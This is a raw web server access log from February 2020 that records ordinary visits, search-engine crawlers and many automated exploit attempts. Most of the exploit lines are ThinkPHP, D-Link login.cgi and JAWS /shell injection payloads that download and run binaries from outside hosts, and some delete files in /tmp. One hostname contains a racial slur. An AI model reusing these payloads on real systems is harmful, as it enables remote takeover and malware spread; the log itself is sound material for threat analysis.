51.254.59.113 - - [13/Feb/2020:01:29:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
190.48.123.65 - - [13/Feb/2020:01:30:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
190.48.123.65 - - [13/Feb/2020:01:30:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.119.205.88 - - [13/Feb/2020:01:34:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.153.113.13 - - [13/Feb/2020:01:35:00 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
194.153.113.13 - - [13/Feb/2020:01:35:00 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
189.39.243.182 - - [13/Feb/2020:01:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.118.70.218 - - [13/Feb/2020:01:38:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.143.220.189 - - [13/Feb/2020:01:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [13/Feb/2020:01:43:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [13/Feb/2020:01:45:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
61.223.68.198 - - [13/Feb/2020:01:46:04 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
92.46.24.251 - - [13/Feb/2020:01:46:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [13/Feb/2020:01:47:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [13/Feb/2020:01:47:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [13/Feb/2020:01:47:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [13/Feb/2020:01:47:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [13/Feb/2020:01:48:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
128.14.133.58 - - [13/Feb/2020:01:49:36 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
122.102.217.153 - - [13/Feb/2020:01:50:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.13.24.47 - - [13/Feb/2020:01:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.13.24.47 - - [13/Feb/2020:01:51:50 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
106.13.24.47 - - [13/Feb/2020:01:51:50 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
45.165.15.10 - - [13/Feb/2020:01:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.59.177.1 - - [13/Feb/2020:01:52:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.177.83 - - [13/Feb/2020:01:52:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.177.166.167 - - [13/Feb/2020:01:55:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
139.211.192.241 - - [13/Feb/2020:01:55:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.59.210.169 - - [13/Feb/2020:02:00:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.233.135 - - [13/Feb/2020:02:02:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.180.86.47 - - [13/Feb/2020:02:02:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.241.62.46 - - [13/Feb/2020:02:02:36 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
190.175.15.100 - - [13/Feb/2020:02:02:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
178.94.49.150 - - [13/Feb/2020:02:05:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
60.191.52.254 - - [13/Feb/2020:02:07:43 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
42.119.8.41 - - [13/Feb/2020:02:11:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.73.26 - - [13/Feb/2020:02:13:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
151.40.47.63 - - [13/Feb/2020:02:15:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.85.91.19 - - [13/Feb/2020:02:16:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.107.90 - - [13/Feb/2020:02:16:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.254.150.45 - - [13/Feb/2020:02:23:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.15.151.83 - - [13/Feb/2020:02:26:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.118.70.243 - - [13/Feb/2020:02:29:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.36.161.137 - - [13/Feb/2020:02:32:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.244.27 - - [13/Feb/2020:02:35:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.218.0.195 - - [13/Feb/2020:02:36:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [13/Feb/2020:02:36:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [13/Feb/2020:02:36:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [13/Feb/2020:02:37:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
191.241.76.242 - - [13/Feb/2020:02:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
5.251.241.119 - - [13/Feb/2020:02:38:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.23.211 - - [13/Feb/2020:02:46:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
105.216.7.116 - - [13/Feb/2020:02:46:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
128.14.133.58 - - [13/Feb/2020:02:47:11 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
42.118.127.157 - - [13/Feb/2020:02:48:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.184.67.237 - - [13/Feb/2020:02:48:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.98.217.209 - - [13/Feb/2020:02:49:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.26.235 - - [13/Feb/2020:02:51:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
210.7.7.99 - - [13/Feb/2020:02:56:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.84.212.82 - - [13/Feb/2020:02:56:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
45.143.220.189 - - [13/Feb/2020:02:58:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
141.8.189.150 - - [13/Feb/2020:02:59:06 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [13/Feb/2020:02:59:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
197.205.0.238 - - [13/Feb/2020:03:01:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
221.125.44.233 - - [13/Feb/2020:03:03:47 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
66.249.73.137 - - [13/Feb/2020:03:06:20 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Googlebot-Image/1.0"
1.162.144.130 - - [13/Feb/2020:03:08:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
120.76.46.27 - - [13/Feb/2020:03:13:22 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.76.46.27 - - [13/Feb/2020:03:13:23 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.76.46.27 - - [13/Feb/2020:03:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
217.123.231.22 - - [13/Feb/2020:03:17:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
217.123.231.22 - - [13/Feb/2020:03:18:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
183.80.112.230 - - [13/Feb/2020:03:18:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.177.83 - - [13/Feb/2020:03:20:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.12.132.36 - - [13/Feb/2020:03:22:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
14.170.67.195 - - [13/Feb/2020:03:25:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.78.13.2 - - [13/Feb/2020:03:30:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
118.69.92.158 - - [13/Feb/2020:03:30:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
116.196.98.78 - - [13/Feb/2020:03:31:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
94.236.199.18 - - [13/Feb/2020:03:31:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
116.196.98.78 - - [13/Feb/2020:03:32:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.249.73.139 - - [13/Feb/2020:03:33:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
1.52.151.217 - - [13/Feb/2020:03:36:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.112.192.120 - - [13/Feb/2020:03:36:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
60.191.52.254 - - [13/Feb/2020:03:38:51 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
66.249.73.150 - - [13/Feb/2020:03:43:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
3.92.181.56 - - [13/Feb/2020:03:51:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.106.66 - - [13/Feb/2020:03:51:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
141.105.137.71 - - [13/Feb/2020:03:52:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
36.82.98.246 - - [13/Feb/2020:03:52:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.171.76.179 - - [13/Feb/2020:03:53:14 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
110.9.148.211 - - [13/Feb/2020:03:57:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.43.223.154 - - [13/Feb/2020:03:59:33 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
91.203.193.47 - - [13/Feb/2020:04:00:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
195.184.14.39 - - [13/Feb/2020:04:01:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.133.78.129 - - [13/Feb/2020:04:01:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.105.248 - - [13/Feb/2020:04:05:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.50.231 - - [13/Feb/2020:04:05:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.126.142 - - [13/Feb/2020:04:07:09 +0100] "GET / HTTP/1.1" 200 1229 "https://uralmetallurg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [13/Feb/2020:04:07:10 +0100] "GET / HTTP/1.1" 200 1229 "https://uralmetallurg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
46.118.126.142 - - [13/Feb/2020:04:07:10 +0100] "GET / HTTP/1.1" 200 1229 "https://uralmetallurg.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)"
185.193.176.167 - - [13/Feb/2020:04:09:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.150.111.53 - - [13/Feb/2020:04:11:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.28 - - [13/Feb/2020:04:12:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.230.96.195 - - [13/Feb/2020:04:15:03 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
